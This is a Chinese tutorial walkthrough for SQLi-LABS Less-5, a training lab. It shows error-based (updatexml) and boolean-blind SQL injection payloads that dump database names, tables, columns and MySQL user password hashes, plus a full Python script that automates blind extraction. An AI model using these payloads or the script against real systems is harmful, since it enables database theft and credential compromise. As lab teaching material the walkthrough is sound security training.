SQLi LABS Less-5 报错注入+布尔盲注「建议收藏」
大家好,又见面了,我是你们的朋友全栈君。
第五关是单引号字符型注入,推荐使用报错注入、布尔盲注
方式一:报错注入
推荐文章:报错注入使用详解,原理+步骤+实战教程
第一步、判断注入点
地址栏输入:?id=1′
单引号导致,页面显示数据库的报错信息,确定注入点为单引号字符型
第二步、判断报错报错函数是否可用
地址栏输入:?id=0′ and updatexml(1,0x7e,3) — a
页面正常报错,确定报错函数可用。
第三步、脱库
获取所有数据库,地址栏输入:
?id=1' and updatexml(1,
substr(
concat(0x7e,
(select group_concat(schema_name)
from information_schema.schemata)
)
,34,31)
,3) -- a
获取 security 库中的所有表,地址栏输入:
?id=1' and updatexml(1,
substr(
concat(0x7e,
(select group_concat(table_name)
from information_schema.tables
where table_schema="security")
)
,1,31)
,3) -- a
获取 users 表中的所有字段,地址栏输入:
?id=1' and updatexml(1,
substr(
concat(0x7e,
(select group_concat(column_name)
from information_schema.columns
where table_schema="security" and table_name="users")
)
,1,31)
,3) -- a
获取数据库的管理员的密码,地址栏输入:
?id=1' and updatexml(1,
concat(0x7e,(
select group_concat(user,password)
from mysql.user
where user = 'mituan')
),
3) -- a
方式二:布尔盲注
推荐文章:布尔盲注使用详解,原理+步骤+实战教程
第一步、判断注入点
地址栏输入:?id=1′ and 1 — a,页面正常显示
地址栏输入:?id=1′ and 0 — a,页面异常(空)显示
第二步、判断长度
判断当前所有数据库的长度是否大于2(肯定大于),地址栏输入:
?id=1' and length(
(select group_concat(schema_name)
from information_schema.schemata)
) > 2 -- a
页面正常显示,确定payload可用,文末使用脚本自动化判断
第三步、枚举字符
判断所有数据库名的第1个字符的ascll码是否大于1(肯定大于1),地址栏输入:
?id=1' and ascii(
substr(
(select group_concat(schema_name)
from information_schema.schemata)
,1,1)
) >1 -- a
页面正常显示,确定payload可用,文末使用脚本枚举字符。
第四步、脱库
盲注脚本如下,按照提示修改:
import requests
# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload
# 目标网址(不带参数)
url = "http://70ee4e0d244e4ca5a00526d0f4e48b26.app.mituan.zone/Less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' and length(
(select group_concat(user,password)
from mysql.user)
) = {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(
substr(
(select group_concat(user,password)
from mysql.user)
,{n},1)
) = {r} -- a"""
# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增
# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length+1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(n= l, r= n))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;
# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
获取所有数据库
判断长度的payload:
?id=1' and length(
(select group_concat(schema_name)
from information_schema.schemata)
) ={n} -- a
枚举字符的payload:
?id=1' and ascii(
substr(
(select group_concat(schema_name)
from information_schema.schemata)
,{n},1)
) ={r} -- a
执行结果:
获取 security 库中的所有表
判断长度的payload:
?id=1' and length(
(select group_concat(table_name)
from information_schema.tables
where table_schema="security")
) ={n} -- a
枚举字符的payload:
?id=1' and ascii(
substr(
(select group_concat(table_name)
from information_schema.tables
where table_schema="security")
,{n},1)
) ={r} -- a
执行结果:
获取 users 表的所有字段
判断长度的payload:
?id=1' and length(
(select group_concat(column_name)
from information_schema.columns
where table_schema="security" and table_name="users")
) ={n} -- a
枚举字符的payload:
?id=1' and ascii(
substr(
(select group_concat(column_name)
from information_schema.columns
where table_schema="security" and table_name="users")
,{n},1)
) ={r} -- a
执行结果:
推荐专栏
《网络安全快速入门》用最短的时间,掌握最核心的网络安全技术。
《靶场通关教程》各种靶场的通关教程,持续更新……
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/187726.html原文链接:https://javaforall.cn
相关文章
- 关于prepareStatement可以防止SQL注入的理解
- 记一次报错注入的学校靶场
- mysql floor报错注入_mysql报错注入总结[通俗易懂]
- sqlmap报错注入
- Web安全原理剖析(四)——报错注入攻击[通俗易懂]
- Pikachu靶场-SQL注入-数字型注入(post)过关步骤
- SQL注入之简单了解堆叠注入
- CNVD-2022-42853:禅道V16.5SQL注入漏洞
- 【Android 逆向】Android 进程注入工具开发 ( 远程调用 | x86 架构的返回值获取 | arm 架构远程调用 )
- MySQL 及 SQL 注入与防范方法
- 超长字符串截断注入详解数据库
- MySQL注入报错处理方法(mysql报错注入)
- MySQL exp注入安全性深度探究(mysqlexp注入)
- Spring属性注入、构造方法注入、工厂注入以及注入参数详解编程语言
- 防范Oracle注入攻击 保障权限提升安全(oracle注入提权)
- Python urllib HTTP头注入漏洞
- MSSQL注入躲不过安全狗!(mssql注入 过安全狗)
- 【mssql注入测试】深度剖析解析(mssql注入测试)
- MSSQL注入搭建:把握安全进出系统关键(mssql注入搭建)
- 完全手册:MSSQL注入入門技巧(mssql注入大全)
- asp中一段防SQL注入的通用脚本